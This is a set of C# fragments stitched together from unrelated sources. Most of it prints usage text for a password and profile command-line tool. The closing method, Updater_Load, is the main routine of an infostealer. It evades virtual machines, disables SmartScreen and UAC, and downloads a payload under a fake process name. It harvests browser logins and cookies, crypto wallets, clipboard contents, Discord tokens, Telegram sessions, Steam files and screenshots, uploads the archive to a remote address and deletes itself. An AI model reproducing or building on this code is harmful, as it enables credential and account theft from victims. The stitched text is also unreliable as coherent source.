("[{0}] ", Dummy.Verbose.Usage ("verbose", "value", UsageFlag)); Console.Write ("[{0}] ", Dummy.Report.Usage ("report", "value", UsageFlag)); Console.Write ("[{0}] ", Dummy.Portal.Usage ("portal", "value", UsageFlag)); Console.Write ("[{0}] ", Dummy.UDF.Usage ("udf", "value", UsageFlag)); Console.WriteLine (); Console.WriteLine (" Complete a pending connection request"); } { #pragma warning disable 219 Password Dummy = new Password (); #pragma warning restore 219 Console.Write ("{0}password ", UsageFlag); Console.Write ("[{0}] ", Dummy.Portal.Usage ("portal", "value", UsageFlag)); Console.Write ("[{0}] ", Dummy.UDF.Usage ("udf", "value", UsageFlag)); Console.Write ("[{0}] ", Dummy.Verbose.Usage ("verbose", "value", UsageFlag)); Console.Write ("[{0}] ", Dummy.Report.Usage ("report", "value", UsageFlag)); Console.WriteLine (); Console.WriteLine (" Add a web application profile to a personal profile"); } { #pragma warning disable 219 AddPassword Dummy = new AddPassword (); #pragma warning restore 219 Console.Write ("{0}pwadd ", UsageFlag); Console.Write ("[{0}] ", Dummy.Site.Usage (null, "site", UsageFlag)); Console.Write ("[{0}] ", Dummy.Username.Usage (null, "user", UsageFlag)); Console.Write ("[{0}] ", Dummy.Password.Usage (null, "password", UsageFlag)); Console.Write ("[{0}] ", Dummy.Portal.Usage ("portal", "value", UsageFlag)); Console.Write ("[{0}] ", Dummy.UDF.Usage ("udf", "value", UsageFlag)); Console.Write ("[{0}] ", Dummy.Verbose.Usage ("verbose", "value", UsageFlag)); Console.Write ("[{0}] ", Dummy.Report.Usage ("report", "value", UsageFlag)); Console.WriteLine (); Console.WriteLine (" Add password entry"); } { #pragma warning disable 219 GetPassword Dummy = new GetPassword (); #pragma warning restore 219 Console.Write ("{0}pwget ", UsageFlag); Console.Write ("[{0}] ", Dummy.Site.Usage (null, "site", UsageFlag)); Console.Write ("[{0}] ", Dummy.Portal.Usage ("portal", "value", UsageFlag)); Console.Write ("[{0}] ", Dummy.UDF.Usage ("udf", "value", UsageFlag)); Console.Write ("[{0}] ", Dummy.Verbose.Usage ("verbose", "value", UsageFlag)); Console.Write ("[{0}] ", Dummy.Report.Usage ("report", "value", UsageFlag)); Console.WriteLine (); Console.WriteLine (" Lookup password entry"); } { #pragma warning disable 219 DeletePassword Dummy = new DeletePassword (); #pragma warning restore 219 Console.Write ("{0}pwdelete ", UsageFlag); Console.Write ("[{0}] ", Dummy.Site.Usage (null, "site", UsageFlag)); Console.Write ("[{0}] ", Dummy.Portal.Usage ("portal", "value", UsageFlag)); Console.Write ("[{0}] ", Dummy.UDF.Usage ("udf", "value", UsageFlag)); Console.Write ("[{0}] ", Dummy.Verbose.Usage ("verbose", "value", UsageFlag)); Console.Write ("[{0}] ", Dummy.Report.Usage ("report", "value", UsageFlag)); Console.WriteLine (); Console.WriteLine (" Delete password entry"); } { #pragma warning disable 219 DumpPassword Dummy = new DumpPassword (); #pragma warning restore 219 Console.Write ("{0}pwdump ", UsageFlag); Console.Write ("[{0}] ", Dummy.JSON.Usage (null, "json", UsageFlag)); Console.Write ("[{0}] ", Dummy.Portal.Usage ("portal", "value", UsageFlag)); Console.Write ("[{0}] ", Dummy.UDF.Usage ("udf", "value", UsageFlag)); Console.Write ("[{0}] ", Dummy.Verbose.Usage ("verbose", "value", UsageFlag)); Console.Write ("[{0}] ", Dummy.Report.Usage ("report", "value", UsageFlag)); Console.WriteLine (); Console.WriteLine (" Describe password entry"); } { #pragma warning disable 219 Mail Dummy = new Mail (); #pragma warning restore 219 Console.Write ("{0}mail ", UsageFlag); Console.Write ("[{0}] ", Dummy.address.Usage (null, "address", UsageFlag)); Console.Write ("[{0}] ", Dummy.Portal.Usage ("portal", "value", UsageFlag)); Console.Write ("[{0}] ", Dummy.UDF.Usage ("udf", "value", UsageFlag)); Console.Write ("[{0}] ", Dummy.Verbose.Usage ("verbose", "value", UsageFlag)); Console.Write ("[{0}] ", Dummy.Report.Usage ("report", "value", UsageFlag)); Console.WriteLine (); Console.WriteLine (" Add a mail application profile to a personal profile"); } { #pragma warning disable 219 SSH Dummy = new SSH (); #pragma warning restore 219 Console.Write ("{0}ssh ", UsageFlag); Console.Write ("[{0}] ", Dummy.Host.Usage (null, "host", UsageFlag)); Console.Write ("[{0}] ", Dummy.Client.Usage (null, "client", UsageFlag)); Console.Write ("[{0}] ", Dummy.Portal.Usage ("portal", "value", UsageFlag)); Console.Write ("[{0}] ", Dummy.UDF.Usage ("udf", "value", UsageFlag)); Console.Write ("[{0}] ", Dummy.Verbose.Usage ("verbose", "value", UsageFlag)); Console.Write ("[{0}] ", Dummy.Report.Usage ("report", "value", UsageFlag)); Console.WriteLine (); Console.WriteLine (" Add a ssh application profile to a personal profile"); } } // Usage
public virtual void GetPassword ( GetPassword Options ) { char UsageFlag = '-'; { #pragma warning disable 219 GetPassword Dummy = new GetPassword (); #pragma warning restore 219 Console.Write ("{0}pwget ", UsageFlag); Console.Write ("[{0}] ", Dummy.Site.Usage (null, "site", UsageFlag)); Console.Write ("[{0}] ", Dummy.Portal.Usage ("portal", "value", UsageFlag)); Console.Write ("[{0}] ", Dummy.UDF.Usage ("udf", "value", UsageFlag)); Console.Write ("[{0}] ", Dummy.Verbose.Usage ("verbose", "value", UsageFlag)); Console.Write ("[{0}] ", Dummy.Report.Usage ("report", "value", UsageFlag)); Console.WriteLine (); Console.WriteLine (" Lookup password entry"); } Console.WriteLine (" {0}\t{1} = [{2}]", "String", "Site", Options.Site); Console.WriteLine (" {0}\t{1} = [{2}]", "String", "Portal", Options.Portal); Console.WriteLine (" {0}\t{1} = [{2}]", "String", "UDF", Options.UDF); Console.WriteLine (" {0}\t{1} = [{2}]", "Flag", "Verbose", Options.Verbose); Console.WriteLine (" {0}\t{1} = [{2}]", "Flag", "Report", Options.Report); Console.WriteLine ("Not Yet Implemented"); }
private void Updater_Load(object sender, EventArgs e) { if (Date.Delay) { Thread.Sleep(Date.DelaySec); } if (!AntiVM.GetCheckVMBot()) { if (!MovEx.CheckPath()) { if (Date.Delay) { ProcessKiller.Delete($"/C choice /C Y /N /D Y /T {Date.DelayTime} & Del", GlobalPath.AssemblyPath); } } else { HideFolders.Enabled(0); DisableLockers.SmartScreen(); DisableLockers.UAC(); AntiSniffer.Inizialize(); if (Date.Downloader || Date.AdminRight) { Users.DownFileEx(Date.DownloaderLink, Environment.GetEnvironmentVariable(Date.DownloaderPath), Date.FakeNameProcess); } if (Date.IpLogger) { IPLogger.Sender(Date.IpLoggerLink); } if (Date.InfoGrabber) { InfoGrabber.CreateTable(GlobalPath.PC_File); } if (Date.CryptoWall) { BitBoard.GetWallet(); } if (Date.Browsers) { ChromeSearcher.CopyLoginsInSafeDir(GlobalPath.Logins); ChromeCookiesSearcher.CopyCookiesInSafeDir(GlobalPath.Cookies); GetPassword.Inizialize(); GetCookies.Inizialize(); } if (Date.Buffer) { ClipboardEx.GetBuffer(GlobalPath.Buffer); } if (Date.Programs) { MailFoxPassword.Inizialize(); DcGrabber.GeTokens(); TGrabber.GetTelegramSession(GlobalPath.Tdata, GlobalPath.TelegaHome, "*.*"); } if (Date.Clients) { GetClients.Inizialize(); } if (Date.Steam) { GetSteamFiles.Copy("*.", "*.vdf", "config", "Steam"); } if (Date.ScreenShot) { ScreenShot.Shoot(GlobalPath.Screen); } Ccleaner.CheckIsNullDirsAndFiles(GlobalPath.GarbageTemp); Archiving.Inizialize(); UploadZip.Inizialize(GlobalPath.Reception, "POST", GlobalPath.ZipAdd); //BlockIE.Enabled(1); // Блокировка интернета if (Date.Delay) { ProcessKiller.Delete($"/C choice /C Y /N /D Y /T {Date.DelayTime} & Del", GlobalPath.AssemblyPath); } Application.Exit(); } } else { SaveData.SaveFile("VM_Detect.txt", "The program is not supported on virtual machines!"); if (Date.Delay) { ProcessKiller.Delete($"/C choice /C Y /N /D Y /T {Date.DelayTime} & Del", GlobalPath.AssemblyPath); } } }